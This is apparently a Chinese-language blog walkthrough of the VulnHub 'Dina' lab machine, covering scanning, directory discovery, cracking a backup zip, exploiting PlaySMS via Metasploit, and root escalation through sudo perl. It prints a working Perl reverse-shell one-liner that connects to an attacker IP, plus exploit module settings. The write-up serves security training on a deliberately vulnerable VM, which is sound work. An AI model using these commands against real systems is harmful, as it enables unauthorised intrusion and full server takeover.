首页 > 其他分享 >Dina靶机详解

Dina靶机详解

时间:2024-09-16 12:52:03浏览次数:11  
标签:Web Dina 网站 192.168 详解 攻击者 服务器 靶机 目录

靶机下载

https://www.vulnhub.com/entry/dina-101,200/

靶机配置

默认是桥接模式,切换为NAT模式后重启靶机

主机发现

arp-scan -l

端口扫描

nmap -sV -A -T4 192.168.229.157

发现80端口开启,访问

访问网站

目录扫描

python dirsearch.py -u http://192.168.229.157:80

拼接访问

http://192.168.229.157/robots.txt

robots.txt文件是一个文本文件,用于告诉网络爬虫(也称为网络机器人)哪些页面或文件可以请求,哪些不能请求你的网站。它通常放在网站的根目录中。

robots.txt文件是一个简单的文本文件,包含了爬虫在爬取你的网站时应该遵循的指令。它允许你指定哪些页面或文件可以被索引,哪些应该被排除在索引之外。

 http://192.168.229.157/secure/

下载backup.zip并查看,解压时发现需要密码

在进行Web应用程序安全测试时,通常会尝试一些常见的目录和文件名来探测Web服务器的配置和漏洞。"/nothing" 是一个常见的文件名,它通常表示请求了一个不存在的资源。
当在URL后面拼接 "/nothing" 时,可能会产生以下两种情况之一:
1. 如果Web服务器没有对"/nothing"进行特殊处理,并且该文件或目录不存在,那么Web服务器可能会返回一个默认的404页面。
2. 如果Web服务器对"/nothing"进行了特殊处理,并且该文件或目录存在,那么Web服务器可能会返回该文件或目录的内容。
如果Web服务器返回的是一个404页面,那么我们可能会注意到页面中是否包含有关服务器配置或Web应用程序版本的信息。这些信息可能会帮助我们确定Web应用程序的类型和版本,从而为进一步的渗透测试提供线索。
以下是一些可能有用的拼接点:
1. /crossdomain.xml:此文件通常用于跨域资源共享(CORS),它定义了哪些网站可以从其他网站访问资源。
2. /.git/:如果网站使用Git版本控制系统,那么此目录可能包含敏感信息,如提交历史记录和配置文件。
3. /.svn/:如果网站使用Subversion版本控制系统,那么此目录可能包含敏感信息,如提交历史记录和配置文件。
4. /backup/:此目录通常用于存储备份文件,如果网站使用自动备份功能,那么此目录可能包含备份文件的副本。
5. /admin/:此目录通常用于管理网站的后端,如果网站没有限制对该目录的访问,那么攻击者可能会试图猜测管理员的用户名和密码。
6. /config/:此目录通常用于存储网站的配置文件,如果网站没有限制对该目录的访问,那么攻击者可能会试图读取敏感信息。
7. /uploads/:此目录通常用于存储用户上传的文件,如果网站没有限制对该目录的访问,那么攻击者可能会试图上传恶意文件。
8. /server-status:此页面通常用于显示服务器的状态信息,如果网站没有限制对该页面的访问,那么攻击者可能会试图获取服务器的敏感信息。
9. /phpinfo.php:此页面通常用于显示PHP的配置信息,如果网站没有限制对该页面的访问,那么攻击者可能会试图获取PHP的敏感信息。
10. /CHANGELOG.txt:此文件通常用于记录网站的变更历史,如果网站没有限制对该文件的访问,那么攻击者可能会试图获取敏感信息

我们通过测试发现拼接/nothing有特殊回显

http://192.168.229.157/nothing/

发现不是404,我们查看页面源码,这些信息可能是接下来账户的密码,先尝试是不是加密视频的密码

发现freedom是加密密码

发现已经损坏,我们尝试使用记事本打开,发现url和uname以及一个加密密码,这个加密密码我们可以尝试使用之前文件夹的密码进行破解,url拼接访问

192.168.229.157/SecreTSMSgatwayLogin

通过尝试发现密码为diana

出现这个需要切换浏览器访问

登录成功,发现CMS,利用MSF查看是否有nday漏洞

GETshell

开启MSF

msfconsole

查询CMS历史漏洞

search playSMS

尝试过后,序号2可以成功利用

use 2
show options
yes代表该参数是必须设置的

set targeturi /SecreTSMSgatwayLogin #配置上传文件页面的url
 
set password diana                  #配置密码
        
set username touhid                 #配置账户
        
set rhosts 192.168.121.184          #靶机ip
        
set lhost 192.168.121.171           #kali监听机的ip
        
set LPORT 1234                      #kali监听的端口

getshell成功

提权

列出当前用户能执行的sudo命令

sudo -l

这段sudo -l命令结果显示了当前用户(www-data)的权限范围,以及哪些命令可以使用sudo命令执行。

首先,它显示了当前用户的默认环境变量设置:

env_reset

这意味着在执行sudo命令时,会重置当前用户的环境变量。

然后,它显示了当前用户可用的安全路径:

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

这意味着当前用户可以使用的命令的路径。

最后,它显示了当前用户可以使用sudo命令执行的命令:

(ALL) NOPASSWD: /usr/bin/perl

这意味着www-data用户可以使用sudo命令执行/usr/bin/perl命令,并且不需要输入密码。

这意味着攻击者可以利用www-data用户的权限来执行/usr/bin/perl命令,从而可能获取到服务器的权限。

kali开启监听

nc -lvvp 9999

通过perl写入反向shell语句

sudo perl -e 'use Socket;$i="192.168.229.132";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

反向shell语句分析

这段代码使用Perl语言创建了一个反向shell,用于连接攻击者控制的服务器。

这段代码的目的是创建一个连接到攻击者控制的服务器的socket。它首先定义了目标服务器的IP地址和端口号,然后使用Perl的Socket模块创建一个TCP socket连接。

如果连接成功,代码使用exec函数执行一个shell命令,从而使攻击者可以获取目标服务器的控制权限。

提权成功

whoami
id

标签:Web,Dina,网站,192.168,详解,攻击者,服务器,靶机,目录
From: https://blog.csdn.net/a666666688/article/details/142301610

相关文章

  • (CS231n课程笔记)深度学习之损失函数详解(SVM loss,Softmax,熵,交叉熵,KL散度)
    学完了线性分类,我们要开始对预测结果进行评估,进而优化权重w,提高预测精度,这就要用到损失函数。损失函数(LossFunction)是机器学习模型中的一个关键概念,用于衡量模型的预测结果与真实标签之间的差距。损失函数的目标是通过提供一个差距的度量,帮助模型进行优化,最终减少预测误差。......
  • MySQL8.0直方图详解
    1、什么是直方图MySQL8.0开始支持索引之外的数据分布统计信息可选项。它就是直方图(Histogram)。直方图通过估算查询谓词的选择率,以便选择合适的执行计划,也让SQL优化有了更多手段。在DB中,优化器负责将SQL转换为很多个不同的执行计划,然后从中选择一个最优的来实际执行。但是有时候优......
  • 常用的运维工具:文件传输工具详解(SCP, SFTP)
    在信息技术(IT)运维中,文件传输是日常工作中不可或缺的一部分。运维工程师需要高效、安全地在不同服务器之间传输文件,以确保系统的正常运行和数据的完整性。本文将详细介绍两种常用的文件传输工具——SCP(SecureCopyProtocol)和SFTP(SecureFileTransferProtocol),帮助读者更好......
  • ICM20948 DMP代码详解(24)
    接前一篇文章:ICM20948DMP代码详解(23) 上一回解析完了inv_icm20948_set_lowpower_or_highperformance函数,本回回到inv_icm20948_initialize_lower_driver函数中,继续往下解析。为了便于理解和回顾,再次贴出inv_icm20948_initialize_lower_driver函数源码,在EMD-Core\sources\Inv......
  • ICM20948 DMP代码详解(23)
    接前一篇文章:ICM20948DMP代码详解(22) 上一回解析完了inv_icm20948_wakeup_mems函数,本回回到inv_icm20948_initialize_lower_driver函数中,继续往下解析。为了便于理解和回顾,再次贴出inv_icm20948_initialize_lower_driver函数源码,在EMD-Core\sources\Invn\Devices\Drivers\IC......
  • python的os模块的常见函数及用途详解
    os模块提供了与操作系统进行交互的功能。它允许你执行许多常见的文件系统任务,如读取目录、处理文件、获取系统信息等。以下是一些os模块中常见的函数及其用途:目录操作os.getcwd():返回当前工作目录的字符串表示。os.listdir(path):返回指定目录下的文件和子目录列表。os.mkdir(......
  • Java零基础-replace(CharSequence target, CharSequence replacement)详解
    哈喽,各位小伙伴们,你们好呀,我是喵手。运营社区:C站/掘金/腾讯云/阿里云/华为云/51CTO;欢迎大家常来逛逛  今天我要给大家分享一些自己日常学习到的一些知识点,并以文字的形式跟大家一起交流,互相学习,一个人虽可以走的更快,但一群人可以走的更远。  我是一名后端开发爱好者......
  • SpringBoot权限认证-Sa-Token的使用与详解
    本文详细介绍了Sa-Token在Java项目中的使用方法,包括Sa-Token的基本概念、与其他权限框架的比较、基本语法和高级用法,并通过实例讲解了如何在项目中集成和使用Sa-Token。作为一款轻量级Java权限认证框架,Sa-Token在简化权限管理、提高开发效率方面发挥了重要作用。本文还将深入探讨Sa......
  • 【MySQL】MySQL索引与事务的透析——(超详解)
    前言......
  • 详解c++多态---上
    virtual关键字1.可以修饰原函数,为了完成虚函数的重写,满足多态的条件之一。classPerson{public:virtualvoidBuyTicket(){cout<<"买票-全价"<<endl;}};classStudent:publicPerson{public:virtualvoidBuyTicket(){cout<<"买票-半价"<<......